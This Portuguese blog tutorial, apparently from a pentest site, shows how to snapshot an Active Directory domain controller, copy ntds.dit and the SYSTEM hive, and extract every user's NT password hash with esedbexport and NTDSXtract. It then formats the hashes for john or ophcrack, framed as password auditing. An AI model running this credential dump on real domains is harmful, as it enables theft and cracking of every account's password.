Shark Security

Computer Forensic & Pentest

Active Directory extração dos hashs DC ntds.dit

Active Directory DC extração dos hashs (ntds.dit)

Este é um tutorial de como extrair todos os hashs das senhas do AD DC, primeiro precisamos extrair os arquivos do AD.

Extraindo arquivos do AD

Para extrair os arquivos do AD é necessário criar um snapshot do sitema, porque senão o Windows não nos deixará copiar esses arquivos por conta deles serem do sistema e estarem em uso.

1. Abra o Prompt de comando (cmd) com privilégios administrativos
2. Digite ntdsutil
3. Digite os comandos:

snapshot
activate instance ntds
create

Essa sequência de comando vai gerar uma saida: Snapshot set {GUID} generated successfully. Agora monte o snapshot criado com o comando abaixo:

mount { GUID }

Copie os arquivos:

1. Windows\SYSTEM32\config\SYSTEM
2. Windows\ntds\ntds.dit

Depois de copiar os dois arquivos, desmonte o snapshot:

unmount { GUID }

Exportanto os hashs das senhas

Para exportar os hashs das senhas serão necessários dois programas:

1. NTDSXtract 1.0
2. libesedb

Agora nós temos que instalar o python-crypto e configurar o libesedb:

aptitude install python-crypto
tar -xzvf libesedb-alpha-20120102.tar.gz
cd libesedb-20120102/
./configure && make

Para extrair os dados do ntds.dit, execute o comando:

cd libesedb-20120102/esedbtools/
./esedbexport  -t /path/out /path/to/ntdis.dit

Após a extração dos dados temos que extrair as informações dos usuários e hashs:

python NTDSXtract\ 1.0/./dsusers.py \ /path/out/.export/datatable.3 /path/out/.export/link_table.5 \ –passwordhashes   /path/to/SYSTEM > hashuserAD.txt

Agora que temos todas as informações referentes a todos os usuários do AD, incluindo os hashes, temos que filtrar apenas as informações que queremos, no exemplo abaixo foi pego apenas o campo User principal name e o hash iniciando com $NT$, esse é um unico comando e deve ser digitado na mesma linha:

cat hashuserAD.txt | grep -v “Record ID:” | grep -v “User name” | grep -v “User principal name” | grep -v “SAM Account type” | grep -v GUID | grep -v SID | grep -v “When created” | grep -v “When changed” | grep -v “Account expires” | grep -v “Password last set” | grep -v “Last logon” | grep -v “Last logon timestamp” | grep -v “Bad password time” | grep -v “Logon count” | grep -v “Bad password count” | grep -v “User Account Control:” | grep -v NORMAL_ACCOUNT | grep -v “PWD Never Expires” | grep -v Disabled | grep -v Ancestors: | grep -v ROOT_OBJECT | grep -v Guest | grep -v “PWD Not Required” | grep -v :0 | grep -v :2 | grep -v :3 | grep -v :4 | grep -v :5 | grep -v :6 | grep -v :7 | grep -v :8 | grep -v :9 | grep -v :a | grep -v :b | grep -v :c | grep -v :d | grep -v :e | grep -v :f | grep -v :g | grep -v :h | grep -v :i | grep -v :j | grep -v :k | grep -v :l | grep -v :m | grep -v :n | grep -v :o | grep -v :p | grep -v :q | grep -v :r | grep -v :s | grep -v :t | grep -v :u | grep -v :v | grep -v :x | grep -v :z | grep -v :w | grep -v :y | cut -f2 -d ‘:’ | sed ‘s/^$/|/’ | tr -d ‘\n’ | sed ‘s/|/\n/g’ | tr -d ‘\n’ | sed ‘s/ /\n/g’ > hashfinal.txt

Agora que temos apenas os nomes de usuários e senhas, temos que executar mais um comando para deixarmos a nosso arquivo como uma saída igual a do PwDump, com isso podemos fazer a auditoria nas senhas em diversos programas que reconhecem esse formato, como o john e o ophcrack:

cat hashfinal.txt  | sed ‘s/$/:::/’ | sed ‘s/$NT$/:1000:NO PASSWORD*********************:/’

Pronto agora temos um arquivo com todas as senhas com a seguinte saída:

teste01:1000:NO PASSWORD*********************:4703810ii8eee76bd9d67dce1639f563:::
teste02:1000:NO PASSWORD*********************:27a40e1a46i42903e72c57ef50f76a05:::

Espero que tenham gostado qualquer dúvida sobre deixe seu comentário ou acesse:

https://www.facebook.com/SharkForensic

[]s